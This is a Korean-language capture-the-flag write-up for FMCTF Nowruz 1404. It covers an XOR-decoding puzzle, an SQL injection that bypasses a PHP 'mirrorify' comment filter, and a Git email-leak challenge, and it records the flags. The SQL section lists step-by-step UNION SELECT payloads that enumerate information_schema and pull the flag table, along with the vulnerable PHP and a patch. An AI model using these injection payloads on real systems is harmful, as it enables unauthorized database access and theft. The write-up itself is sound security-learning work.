[FMCTF - Nowruz 1404] CTF 후기 및 Write-Up

Can you find all the seens? "the name of Iranian famous chracter starts with "Hajji" for the seen7" https://seven-seens-chall.fmc.tf/

Only the request's destination to '7seen' can continue!, your sec-fetch-dest currently shows: document

우리의 유명한 캐릭터의 ?name= 은 무엇인가요? 그 캐릭터는 노우루즈(새해) 즈음에 산타처럼 옵니다. /^[a-z]{5} [a-z]{5}$/

import base64 if __name__ == "__main__": cipher_text = base64.b64decode("AAAABQFYAXc=") xor_key = "Se3nJ3dDd" result = "" for index, cipher_byte in enumerate(cipher_text): plain = chr(cipher_byte ^ ord(xor_key[index])) print(f"idx: {index}, cipher_byte: {cipher_byte}, xor: {xor_key[index]}({ord(xor_key[index])}), char: {plain}") result += plain print(f"Result: {result}")

FMCTF{S4bZz3hhH_S1IIr_S1iBb_S4Am4n0Oo_Se3nJ3dDd_SOonb0Ll_Se3kKke3}

I'm a big fan of black mirror. Note: Make sure to check the comments of homepage! https://blackmirror-chall.fmc.tf

$db = dbconnect(); if (isset($_GET["query"]) && is_string($_GET["query"])) { $mirrorified = mirrorify($_GET["query"]); $sql = "SELECT * FROM series WHERE name LIKE (\"%${mirrorified}%\")"; $result = mysqli_query($db, $sql); $episodes = mysqli_fetch_all($result); } else { $result = mysqli_query($db, "SELECT * FROM series"); $episodes = mysqli_fetch_all($result); }

function mirrorify($query) { $s_query = str_replace(["--", "#"], "?", $query); $trans = [ "(" => ")", ")" => "(", "<" => ">", ">" => "<", "[" => "]", "]" => "[", "{" => "}", "}" => "{", ]; $m_query = strtr($s_query, $trans); return $s_query . strrev($m_query); }

--// ABCD%") 를 전달한 경우 SELECT * FROM series WHERE name LIKE ("%ABCD%")??("%DCBA%")

--// ") - 를 전달한 경우 SELECT * FROM series WHERE name LIKE ("%") -- ("%")

--// ") AND 1=2 UNION SELECT 1,2,3,4 - 를 전달한 경우 SELECT * FROM series WHERE name LIKE ("%") AND 1=2 UNION SELECT 1,2,3,4 -- 4,3,2,1 TCELES NOINU 2=1 DNA ("%")

--// ") AND 1=2 UNION SELECT 1,(SELECT table_name FROM information_schema.tables LIMIT 1),3,4 - 를 전달한 경우 SELECT * FROM series WHERE name LIKE ("%") AND 1=2 UNION SELECT 1,(SELECT table_name FROM information_schema.tables LIMIT 1),3,4 -- 4,3,(1 TIMIL selbat.amehcs_noitamrofni MORF eman_elbat TCELES),1 TCELES NOINU 2=1 DNA ("%")

--// ") AND 1=2 UNION SELECT 1,(SELECT column_name FROM information_schema.columns WHERE table_name="FLAG_bc740136d60b25a2c5c305b8" LIMIT 1),3,4 - 를 전달한 경우 SELECT * FROM series WHERE name LIKE ("%") AND 1=2 UNION SELECT 1,(SELECT column_name FROM information_schema.columns WHERE table_name="FLAG_bc740136d60b25a2c5c305b8" LIMIT 1),3,4 -- 4,3,(1 TIMIL "8b503c5c2a52b06d631047cb_GALF"=eman_elbat EREHW snmuloc.amehcs_noitamrofni MORF eman_nmuloc TCELES),1 TCELES NOINU 2=1 DNA ("%")

--//?query=") AND 1=2 UNION SELECT 1,(SELECT flag FROM FLAG_bc740136d60b25a2c5c305b8),3,4 - SELECT * FROM series WHERE name LIKE ("%") AND 1=2 UNION SELECT 1,(SELECT flag FROM FLAG_bc740136d60b25a2c5c305b8 LIMIT 1),3,4 -- 4,3,(1 TIMIL 8b503c5c2a52b06d631047cb_GALF MORF galf TCELES),1 TCELES NOINU 2=1 DNA ("%")

FMCTF{674fc2c4d20858e922d14fff640a65f2}

function mirrorify($query) { - $s_query = str_replace(["--", "#"], "?", $query); + $s_query = str_replace(["-", "#"], "?", $query); $trans = [ "(" => ")", ")" => "(", "<" => ">", ">" => "<", "[" => "]", "]" => "[", "{" => "}", "}" => "{", ]; $m_query = strtr($s_query, $trans); return $s_query . strrev($m_query); }

We have a new team member who is still in training. The other day, he said he is trying to learn Git in order to contribute to our writeup website but he is still struggling with it. Let's hope he hasn't exposed his email address. Flag example: FMCTF{s3an.4lpha3d0n@outlook.com}

FMCTF{h4ck3r.g0odr4tm4nd@gmail.com}